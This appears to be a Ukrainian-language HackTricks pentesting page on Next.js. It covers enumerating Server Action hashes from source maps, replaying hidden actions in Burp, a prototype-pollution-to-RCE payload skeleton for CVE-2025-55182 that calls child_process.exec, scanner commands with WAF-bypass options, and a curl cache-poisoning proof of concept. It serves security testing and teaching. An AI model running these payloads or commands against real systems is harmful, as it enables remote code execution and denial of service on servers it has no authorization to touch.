  • Розділення коду: Використовуйте динамічні імпорти для розділення коду та зменшення часу початкового завантаження.
  • Кешування: Реалізуйте стратегії кешування для відповідей API та статичних ресурсів.
  • Відкладене завантаження: Завантажуйте компоненти або ресурси лише коли вони потрібні.

Приклад:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Перерахування Next.js Server Actions (хеш до імені функції через source maps)

Сучасний Next.js використовує “Server Actions”, які виконуються на сервері, але викликаються з клієнта. У продакшн ці виклики непрозорі: всі POST надходять на спільний endpoint і відрізняються build-специфічним хешем, який надсилається в заголовку Next-Action. Приклад:

POST /
Next-Action: a9f8e2b4c7d1...

Коли увімкнено productionBrowserSourceMaps, мініфіковані JS-чанки містять виклики createServerReference(...), які leak достатньо структури (плюс пов’язані source maps), щоб відновити відображення між хешем дії та початковою назвою функції. Це дозволяє перетворювати хеші, помічені в Next-Action, на конкретні цілі, такі як deleteUserAccount() або exportFinancialData().

Підхід до витягання (regex on minified JS + optional source maps)

Шукайте завантажені JS-чанки на наявність createServerReference і витягайте хеш та символ функції/джерела. Два корисні патерни:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Група 1: server action hash (40+ hex chars)
  • Група 2: symbol or path that can be resolved to the original function via the source map when present

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Практичний робочий процес

  • Пасивне виявлення під час перегляду: захоплюйте запити з Next-Action headers та JS chunk URLs.
  • Завантажте відповідні JS bundles та супровідні *.map файли (за наявності).
  • Запустіть the regex вище, щоб побудувати словник hash↔name.
  • Використовуйте словник, щоб спрямувати тестування:
  • Тріаж за назвами (наприклад, transferFunds, exportFinancialData).
  • Відстежуйте покриття між збірками за назвою функції (hashes змінюються між збірками).

Виконання прихованих дій (запит на основі шаблону)

Візьміть дійсний POST, помічений in-proxy, як шаблон, і замініть значення Next-Action, щоб націлити іншу знайдену дію:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Відтворюйте у Repeater та тестуйте авторизацію, валідацію введення і бізнес-логіку дій, які в іншому випадку були б недоступні.

Автоматизація Burp

  • NextjsServerActionAnalyzer (розширення Burp) автоматизує вищезазначене в Burp:
  • Просіює історію proxy на предмет JS-чанків, витягує записи createServerReference(...) і парсить source maps, якщо вони доступні.
  • Підтримує пошуковий словник hash↔function-name і видаляє дублікати між збірками за іменем функції.
  • Може знайти валідний template POST і відкрити вкладку Repeater, готову до відправки, із підставленим hash цільової дії.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Примітки та обмеження

  • Потребує увімкненого productionBrowserSourceMaps у production, щоб відновлювати імена з bundles/source maps.
  • Розкриття function-name саме по собі не є вразливістю; використовуйте його для навігації під час пошуку та тестуйте авторизацію кожної дії.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Деплойменти Next.js App Router, які експонують Server Actions через react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x), містять критичну server-side prototype pollution під час десеріалізації Flight-чанків. Шляхом створення $-референсів всередині Flight payload атакуючий може перейти від заполітичених прототипів до довільного виконання JavaScript, а потім до виконання команд ОС в процесі Node.js.

NodeJS - proto & prototype Pollution

Ланцюжок атаки в Flight-чанках

  1. Prototype pollution primitive: Встановіть "then": "$1:__proto__:then", щоб резолвер записав функцію then на Object.prototype. Будь-який plain object, оброблений пізніше, стає thenable, що дозволяє атакуючому впливати на async control flow всередині RSC internals.
  2. Rebinding to the global Function constructor: Спрямуйте _response._formData.get на "$1:constructor:constructor". Під час резолюції, object.constructorObject, і Object.constructorFunction, тому майбутні виклики _formData.get() фактично виконують Function(...).
  3. Code execution via _prefix: Помістіть JavaScript-код у _response._prefix. Коли буде викликано заполітичений _formData.get, фреймворк оцінить Function(_prefix)(...), тож інжектований JS може викликати require('child_process').exec() або будь-який інший Node-примітив.

Скелет payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Виявлення експозиції React Server Function

React Server Functions (RSF) — це будь-які функції, які містять директиву 'use server';. Кожна form action, mutation або fetch helper, зв’язана з однією з таких функцій, стає RSC Flight endpoint, який охоче десеріалізує payload, наданий атакуючим. Корисні кроки розвідки, виведені з оцінок React2Shell:

  • Static inventory: шукайте директиву, щоб зрозуміти, скільки RSFs автоматично експонується фреймворком.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app за замовчуванням вмикає App Router + директорію app/, що непомітно перетворює кожен route на RSC-capable endpoint. App Router assets такі як /_next/static/chunks/app/ або відповіді, що стримлять Flight chunks через text/x-component, є сильними Internet-facing fingerprints.
  • Implicitly vulnerable RSC deployments: React’s own advisory зазначає, що apps shipping the RSC runtime можуть бути експлуатовані even without explicit RSFs, тому вважайте підозрілими будь-які збірки, що використовують react-server-dom-* 19.0.0–19.2.0.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse the same serializer і успадковують ідентичний remote attack surface, доки не вбудують пропатчені React builds.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: вразливі у 19.0.0, 19.1.0–19.1.1 та 19.2.0; виправлені у 19.0.1, 19.1.2 та 19.2.1 відповідно.
  • Next.js stable: App Router releases 15.0.0–16.0.6 містять уразливий RSC стек. Патч-треїни 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 включають виправлені залежності, тож будь-яка збірка нижче цих версій є привабливою метою.
  • Next.js canary: 14.3.0-canary.77+ також постачає buggy runtime і наразі не має пропатчених canary drops, роблячи ті fingerprints сильними кандидатами для експлуатації.

Remote detection oracle

Assetnote’s react2shell-scanner надсилає crafted multipart Flight request до кандидатних шляхів і спостерігає за поведінкою на сервері:

  • Default mode виконує детермінований RCE payload (math operation reflected via X-Action-Redirect), що доводить виконання коду.
  • --safe-check mode навмисне пошкоджує Flight message так, що пропатчені сервери повертають 200/400, тоді як вразливі цілі видають HTTP/500 відповіді, що містять підрядок E{"digest" у тілі. Та пара (500 + digest) наразі є найнадійнішим remote oracle, опублікованим оборонцями.
  • Вбудовані --waf-bypass, --vercel-waf-bypass та --windows switches підлаштовують layout payload, підставляють junk або замінюють OS команди, щоб ви могли проавдіти probe реальних Internet assets.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Інші недавні проблеми App Router (кінець 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads можуть зациклити RSC resolver у нескінченному циклі (pre-auth DoS) або змусити серіалізувати скомпільований код Server Function для інших дій. App Router builds ≥13.3 уразливі до цього до застосування патча; 15.0.x–16.0.x потребують конкретних рядків патчу з upstream advisory. Повторно використовуйте звичайний Server Action шлях, але стрімуйте тіло text/x-component з зловмисними $ посиланнями. За CDN зависле з’єднання утримується відкритим через кеш-тайм-аути, що робить DoS дешевим.
  • Порада триажу: Непатчені цілі повертають 500 з E{"digest" після malformed Flight payloads; запатчені збірки повертають 400/200. Тестуйте будь-який endpoint, який вже стримує Flight chunks (шукайте заголовки Next-Action або відповіді text/x-component) і відтворюйте з модифікованим payload.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – відсутній заголовок Vary дозволяє відповіді на Accept: text/x-component кешуватися та віддаватися браузерам, які очікують HTML. Один первинний запит може замінити сторінку сирими RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Якщо друга відповідь повертає JSON Flight data замість HTML, маршрут піддається отруєнню. Очищайте кеш після тестування.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks